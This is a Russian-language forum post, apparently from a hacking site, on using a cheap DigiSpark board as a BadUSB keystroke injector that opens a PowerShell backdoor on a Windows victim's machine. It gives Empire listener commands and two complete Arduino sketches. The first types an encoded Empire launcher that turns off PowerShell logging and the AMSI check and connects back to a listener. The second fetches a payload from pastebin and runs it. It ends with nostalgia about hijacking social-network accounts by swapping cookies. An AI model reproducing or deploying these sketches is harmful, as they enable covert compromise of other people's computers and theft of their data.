Хочу рассказать о младшем (возможно даже отсталом и ущербном) брате Rubber Ducky - DigiSpark.
		
		
	
	
		
 
	
Стоит эта приблуда 1$ во всем известном Китайском интернет-магазине.
Что-ж, какова цена - таковы и возможности. За такую скромную сумму мы имеем:
Что же по поводу bad usb? Digi позволяет эмулировать клавиатуру, что даёт нам возможность создать powershell-backdoor. Приступим.
Генерация пейлоада
Генерировать буду с помощью Empire.
	
	
	
	
		
Что бы посмотреть все возможные варианты - после uselistener 2 раза нажмите Tab
		
 
	
Устанавливаем имя, порт, и запускаем листенер.
		
 
	
Получаем наш powershell-payload
launcher powershell Digi
		
 
	
Пишем код
Вся структура кода выглядит так:
	
	
		
			
	
	
	
	
		
		
	
Основа будет выполняться один раз. При тестировании возникла проблема переключения раскладки, но опытным путём выяснилось, что на русифицированной windows 7 все новые окна по умолчанию открываются с русской раскладкой. В таком случае код будет выглядеть так:
	
	
		
			
	
	
	
	
		
		
	
Компилируем ии... Получаем ошибку. Памяти на столько мало, что не хватает даже на powershell-backdoor!
		
 
	
Можно попробовать вставить payload, сгенерированный в msfvenom с функцией --smallest, либо найти нагрузку меньше, но это вы можете сделать сами, я же покажу второй вариант.
Обходной путь
В powershell версии 3.0 и выше (начиная с windows 8) появилась функция Invoke-WebRequest, которая позволяет парсить сайты. Воспользуемся ей.
Для этого заливаем свой пейлоад на pastebin:
		
 
	
Вместо прямого использования нагрузки спарсим его:
	
	
		
			
	
	
	
	
		
		
	
Теперь код занимает только 54% памяти.
		
 
	
Вонзив этот корявый клинок правосудия в usb-разъёмжертвы вашего компьютера, выполнится ваш код на C. Не плохой потенциал, но вряд ли 6 кб памяти дадут вам его реализовать...
Выводы
Хорошая игрушка за свои деньги, не более. Будь там хотя бы 16 кб памяти - можно было бы использовать нормальные бекдор без костылей, которые работают только на windows 8 и выше.
Можно, конечно, попробовать скачивать нужные для выполнения программы с помощью чистого C++, но я не силён в нём. Либо просто воровать кукисы, но не то время нынче...
Эх, было время, когда можно было взломать аккаунт вк или однокласников обычной подменой кукисов...
				
			Стоит эта приблуда 1$ во всем известном Китайском интернет-магазине.
Что-ж, какова цена - таковы и возможности. За такую скромную сумму мы имеем:
- 8 кб памяти для вашего кода, 2 из которых съедает загрузчик.
- Небольшую документацию: 
	
Ссылка скрыта от гостей
	Ссылка скрыта от гостей
Что же по поводу bad usb? Digi позволяет эмулировать клавиатуру, что даёт нам возможность создать powershell-backdoor. Приступим.
Генерация пейлоада
Генерировать буду с помощью Empire.
		Код:
	
	sudo ./empire
listeners
uselistener httpУстанавливаем имя, порт, и запускаем листенер.
Получаем наш powershell-payload
launcher powershell Digi
Пишем код
Вся структура кода выглядит так:
		Код:
	
	#include "DigiKeyboard.h" // Импортируем модуль клавиатуры
void setup()
{
  // Одноразовое выполнение кода
}
void loop()
{
  // Циклическое выполнение кода            
}
		Код:
	
	#include "DigiKeyboard.h"
#define KEY_ALT         226   // Кнопка left Alt
#define KEY_SHIFT       A0    // Кнопка left Shift
void setup()
{
  DigiKeyboard.update();
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(2000);   // Время простоя в миллисекундах
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // Открываем поиск
  DigiKeyboard.delay(2000);
  DigiKeyboard.sendKeyStroke(KEY_ALT, KEY_SHIFT); // Переводим раскладку на английску
  DigiKeyboard.delay(2000);
  DigiKeyboard.println("cmd.exe");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(2000);
  DigiKeyboard.sendKeyStroke(KEY_ALT, KEY_SHIFT); // Переводим раскладку на английский
  DigiKeyboard.delay(2000);
  DigiKeyboard.println("powershell -noP -sta -w 1 -enc  JABHAHIAbwB1AFAAUABvAGwAaQBjAFkAUwBFAHQAdABpAG4ARwBTACAAPQAgAFsAcgBFAGYAXQAuAEEAUwBzAGUAbQBCAEwAeQAuAEcAZQB0AFQAeQBwAEUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBVAHQAaQBsAHMAJwApAC4AIgBHAEUAVABGAGkARQBgAEwARAAiACgAJwBjAGEAYwBoAGUAZABHAHIAbwB1AHAAUABvAGwAaQBjAHkAUwBlAHQAdABpAG4AZwBzACcALAAgACcATgAnACsAJwBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBHAEUAdABWAEEAbAB1AEUAKAAkAG4AVQBMAEwAKQA7ACQARwBSAG8AVQBwAFAAbwBsAEkAYwB5AFMARQBUAHQASQBuAGcAUwBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0AIAA9ACAAMAA7ACQARwByAG8AVQBwAFAAbwBsAGkAQwB5AFMARQBUAHQAaQBuAEcAcwBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCAGwAbwBjAGsASQBuAHYAbwBjAGEAdABpAG8AbgBMAG8AZwBnAGkAbgBnACcAXQAgAD0AIAAwADsAWwBSAGUARgBdAC4AQQBTAHMAZQBNAGIATABZAC4ARwBlAHQAVABZAHAARQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzACcAKQB8AD8AewAkAF8AfQB8ACUAewAkAF8ALgBHAEUAdABGAGkAZQBMAGQAKAAnAGEAbQBzAGkASQBuAGkAdABGAGEAaQBsAGUAZAAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMARQB0AFYAQQBsAHUAZQAoACQATgB1AEwATAAsACQAVABSAHUAZQApAH0AOwBbAFMAWQBTAFQARQBtAC4ATgBlAFQALgBTAEUAUgBWAEkAYwBFAFAAbwBpAE4AVABNAGEAbgBhAGcAZQBSAF0AOgA6AEUAeABwAEUAQwBUADEAMAAwAEMATwBOAHQASQBOAHUARQA9ADAAOwAkAHcAQwA9AE4AZQB3AC0ATwBiAGoAZQBDAFQAIABTAHkAUwBUAEUATQAuAE4ARQB0AC4AVwBFAEIAQwBsAEkARQBuAFQAOwAkAHUAPQAnAE0AbwB6AGkAbABsAGEALwA1AC4AMAAgACgAVwBpAG4AZABvAHcAcwAgAE4AVAAgADYALgAxADsAIABXAE8AVwA2ADQAOwAgAFQAcgBpAGQAZQBuAHQALwA3AC4AMAA7ACAAcgB2ADoAMQAxAC4AMAApACAAbABpAGsAZQAgAEcAZQBjAGsAbwAnADsAJAB3AEMALgBIAEUAQQBEAEUAcgBzAC4AQQBkAGQAKAAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwAsACQAdQApADsAJABXAGMALgBQAFIATwB4AFkAPQBbAFMAWQBTAHQARQBtAC4ATgBlAHQALgBXAGUAQgBSAGUAUQB1AEUAUwBUAF0AOgA6AEQAZQBGAGEAVQBMAHQAVwBlAGIAUABSAG8AeABZADsAJAB3AGMALgBQAFIATwBYAHkALgBDAFIARQBEAEUATgB0AEkAYQBMAHMAIAA9ACAAWwBTAHkAUwBUAEUATQAuAE4AZQB0AC4AQwByAGUARABlAG4AVABpAEEAbABDAGEAYwBIAEUAXQA6ADoARABFAGYAYQB1AEwAdABOAGUAVAB3AE8AUgBrAEMAcgBlAGQARQBOAHQAaQBhAEwAcwA7ACQASwA9AFsAUwB5AFMAVABlAG0ALgBUAGUAeABUAC4ARQBOAEMATwBEAGkATgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AEIAWQB0AEUAcwAoACcANwBiADIANABhAGYAYwA4AGIAYwA4ADAAZQA1ADQAOABkADYANgBjADQAZQA3AGYAZgA3ADIAMQA3ADEAYwA1ACcAKQA7ACQAUgA9AHsAJABEACwAJABLAD0AJABBAHIAZwBTADsAJABTAD0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyADUANQB8ACUAewAkAEoAPQAoACQASgArACQAUwBbACQAXwBdACsAJABLAFsAJABfACUAJABLAC4AQwBvAHUAbgBUAF0AKQAlADIANQA2ADsAJABTAFsAJABfAF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBbACQASgBdACwAJABTAFsAJABfAF0AfQA7ACQARAB8ACUAewAkAEkAPQAoACQASQArADEAKQAlADIANQA2ADsAJABIAD0AKAAkAEgAKwAkAFMAWwAkAEkAXQApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQAsACQAUwBbACQASABdAD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQA7ACQAXwAtAGIAeABvAFIAJABTAFsAKAAkAFMAWwAkAEkAXQArACQAUwBbACQASABdACkAJQAyADUANgBdAH0AfQA7ACQAdwBjAC4ASABlAEEARABlAFIAcwAuAEEARABkACgAIgBDAG8AbwBrAGkAZQAiACwAIgBzAGUAcwBzAGkAbwBuAD0AeABLAEYARQBIAEkAYwBSAEgAcgBvAGkAdAB1AG8AWQB6ADgARgBaAG0AOQA1AEwATwBkADAAPQAiACkAOwAkAHMAZQByAD0AJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAwAC4AMQAwADIAOgAxADMAMwA3ACcAOwAkAHQAPQAnAC8AbgBlAHcAcwAuAHAAaABwACcAOwAkAGQAYQB0AEEAPQAkAFcAQwAuAEQAbwBXAE4ATABvAGEARABEAEEAVABhACgAJABTAEUAcgArACQAdAApADsAJABJAHYAPQAkAEQAYQB0AGEAWwAwAC4ALgAzAF0AOwAkAGQAYQBUAEEAPQAkAEQAYQB0AGEAWwA0AC4ALgAkAEQAYQBUAGEALgBsAGUATgBHAFQASABdADsALQBqAE8AaQBOAFsAQwBoAGEAUgBbAF0AXQAoACYAIAAkAFIAIAAkAGQAQQB0AGEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA=="); // Полезная нагрузка
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
}
void loop()
{
  digitalWrite(0, HIGH);
  digitalWrite(1, HIGH);    // Мигалка светодиода
  delay(100);               // по окончанию
  digitalWrite(0, HIGH);    // скрипта
  digitalWrite(1, HIGH);
  delay(100);       
}Можно попробовать вставить payload, сгенерированный в msfvenom с функцией --smallest, либо найти нагрузку меньше, но это вы можете сделать сами, я же покажу второй вариант.
Обходной путь
В powershell версии 3.0 и выше (начиная с windows 8) появилась функция Invoke-WebRequest, которая позволяет парсить сайты. Воспользуемся ей.
Для этого заливаем свой пейлоад на pastebin:
Вместо прямого использования нагрузки спарсим его:
		Код:
	
	#include "DigiKeyboard.h"
#define KEY_ALT         226   // Кнопка left Alt
#define KEY_SHIFT       A0    // Кнопка left Shift
void setup()
{
  DigiKeyboard.update();
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(2000);   // Время простоя в миллисекундах
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(2000);
  DigiKeyboard.sendKeyStroke(KEY_ALT, KEY_SHIFT);
  DigiKeyboard.delay(2000);
  DigiKeyboard.println("cmd.exe");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(2000);
  DigiKeyboard.sendKeyStroke(KEY_ALT, KEY_SHIFT);
  DigiKeyboard.delay(2000);
  DigiKeyboard.println("powershell");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(2000);
  DigiKeyboard.println("$url = 'pastebin.com/tA76vf4A'");  // Ссылка на пейлоад на пастбин
  delay(50);
  DigiKeyboard.println("$result = Invoke-WebRequest -Uri $url");
  delay(50);
  DigiKeyboard.println("powershell.exe -nop -e $result.content");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
}
void loop()
{
  digitalWrite(0, HIGH);
  digitalWrite(1, HIGH);    // Мигалка светодиода
  delay(100);               // по окончанию
  digitalWrite(0, HIGH);    // скрипта
  digitalWrite(1, HIGH);
  delay(100);              
}Вонзив этот корявый клинок правосудия в usb-разъём
Выводы
Хорошая игрушка за свои деньги, не более. Будь там хотя бы 16 кб памяти - можно было бы использовать нормальные бекдор без костылей, которые работают только на windows 8 и выше.
Можно, конечно, попробовать скачивать нужные для выполнения программы с помощью чистого C++, но я не силён в нём. Либо просто воровать кукисы, но не то время нынче...
Эх, было время, когда можно было взломать аккаунт вк или однокласников обычной подменой кукисов...
 
	 
	 
	 
	 
	
 
 
		 
 
		 
 
		 
 
		
 
 
		 
 
		 
 
		 
 
		 
 
		 
 
		 
 
		 
	